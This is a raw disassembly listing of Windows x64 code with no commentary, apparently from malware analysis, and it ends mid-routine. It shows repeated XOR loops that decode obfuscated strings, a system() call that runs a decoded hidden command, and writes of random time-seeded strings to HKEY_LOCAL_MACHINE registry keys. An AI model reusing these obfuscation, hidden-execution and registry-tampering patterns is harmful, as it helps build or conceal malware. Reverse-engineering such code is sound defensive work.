movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400c0a40
cmp r8d, 0x39
jge 0x1400c0b80
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400c0b50
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140172400]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140172410]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140172420]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140172430]
movups xmmword [rsp + 0x70], xmm1
movzx eax, word [0x140172440]
mov word [rbp - 0x80], ax
movzx eax, byte [0x140172442]
mov byte [rbp - 0x7e], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0d15
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400c0c10
cmp r8d, 0x43
jge 0x1400c0d50
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x43
jl 0x1400c0d20
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c0d90
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov rsi, rbx
mov qword [rbp - 0x20], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x18], r15
mov byte [rbp - 0x30], sil
mov edi, ebx
movzx r12d, byte [0x140172600]
movups xmm4, xmmword [0x1401725f0]
lea r14, [r15 - 0x10]
nop
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c0e4c
cmp edi, 0x18
je 0x1400c0e4c
movzx eax, word [0x140172b80]
mov word [rbp - 0x70], ax
cmp byte [0x140172b81], 0
je 0x1400c0e27
mov byte [rbp - 0x70], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x6f], 0x31
lea rax, [rbp - 0x70]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400c0e30
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x30]
call fcn.140058d50
jmp 0x1400c101a
movups xmmword [rbp - 0x70], xmm4
mov byte [rbp - 0x60], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0f95
movdqa xmm6, xmmword [0x140176070]
movdqa xmm5, xmmword [0x140176320]
movdqa xmm7, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c0e90
cmp r8d, 0x11
jge 0x1400c0fd0
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c0fa0
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rbp + rcx - 0x70]
cmp rsi, r15
jae 0x1400c1011
lea rax, [rsi + 1]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp r15, 0xf
cmova rax, qword [rbp - 0x30]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c1029
lea rcx, [rbp - 0x30]
call fcn.140060790
movups xmm4, xmmword [0x1401725f0]
movzx r12d, byte [0x140172600]
inc edi
cmp edi, 0x19
jge 0x1400c103d
mov r15, qword [rbp - 0x18]
mov rsi, qword [rbp - 0x20]
jmp 0x1400c0df0
mov r14d, 1
mov r9d, r14d
lea r8, [0x14016cfc4]
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.140062370
mov r9d, r14d
lea r8, [0x14016cfc0]
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x30]
call fcn.140062370
lea r10, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r10, qword [rbp - 0x30]
movsd xmm0, qword [str.xFbA_S___ORX]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140173418]
mov dword [rbp - 0x68], eax
movzx eax, word [0x14017341c]
mov word [rbp - 0x64], ax
cmp byte [0x14017341d], 0
je 0x1400c1200
mov r8d, ebx
cmp r13d, 2
jl 0x1400c11b7
movdqa xmm4, xmmword [0x140176320]
movdqa xmm2, xmmword [0x140176070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
mov eax, dword [0x1401761e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xFbA_S___ORX]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140176090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c11d0
mov eax, dword [rbp - 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c122e
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [str.chagqxjtMKHRIP.50__]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140172a18]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140172a28]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x140172a38]
mov word [rsp + 0x70], ax
movzx eax, byte [0x140172a3a]
mov byte [rsp + 0x72], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c13b5
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c12b0
cmp r8d, 0x33
jge 0x1400c13f0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400c13c0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c1430
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov rsi, rbx
mov qword [rbp - 0x40], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x38], r15
mov byte [rbp - 0x50], sil
mov edi, ebx
movzx r12d, byte [0x140172600]
movups xmm4, xmmword [0x1401725f0]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c14c3
cmp edi, 0x18
je 0x1400c14c3
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp - 0x50]
call fcn.140058d50
jmp 0x1400c169a
movups xmmword [rsp + 0x40], xmm4
mov byte [rsp + 0x50], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1615
movdqa xmm6, xmmword [0x140176070]
movdqa xmm5, xmmword [0x140176320]
movdqa xmm7, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c1510
cmp r8d, 0x11
jge 0x1400c1650
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c1620
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x40]
cmp rsi, r15
jae 0x1400c1691
lea rax, [rsi + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp r15, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c16a9
lea rcx, [rbp - 0x50]
call fcn.140060790
movups xmm4, xmmword [0x1401725f0]
movzx r12d, byte [0x140172600]
inc edi
cmp edi, 0x19
jge 0x1400c16bd
mov r15, qword [rbp - 0x38]
mov rsi, qword [rbp - 0x40]
jmp 0x1400c1490
mov r9, r14
lea r8, [0x14016cfc4]
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140062370
mov r9, r14
lea r8, [0x14016cfc0]
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.140062370
lea r10, [rbp - 0x50]
movups xmm0, xmmword [str.s_CAASEpXH_KLZ_t_B]
movzx eax, word [0x1401740a0]
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], ax
movzx eax, byte [0x1401740a2]
mov byte [rsp + 0x52], al
cmp qword [rbp - 0x38], 0xf
jbe 0x1400c171b
mov r10, qword [rbp - 0x50]
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1865
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c1760
cmp r8d, 0x13
jge 0x1400c18a0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400c1870
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c18cf
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x50]
call fcn.14003d760
movups xmm0, xmmword [str.chagqxjtMKHRIP.50__]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140172a18]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140172a28]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x140172a38]
mov word [rsp + 0x70], ax
movzx eax, byte [0x140172a3a]
mov byte [rsp + 0x72], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1a65
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c1960
cmp r8d, 0x33
jge 0x1400c1aa0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400c1a70
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x144], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c1ae0
mov dword [rbp + 0x140], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov rsi, rbx
mov qword [rbp - 0x40], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x38], r15
mov byte [rbp - 0x50], sil
mov edi, ebx
movzx r12d, byte [0x140172600]
movups xmm4, xmmword [0x1401725f0]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c1b73
cmp edi, 0x18
je 0x1400c1b73
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp - 0x50]
call fcn.140058d50
jmp 0x1400c1d4a
movups xmmword [rsp + 0x40], xmm4
mov byte [rsp + 0x50], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1cc5
movdqa xmm6, xmmword [0x140176070]
movdqa xmm5, xmmword [0x140176320]
movdqa xmm7, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
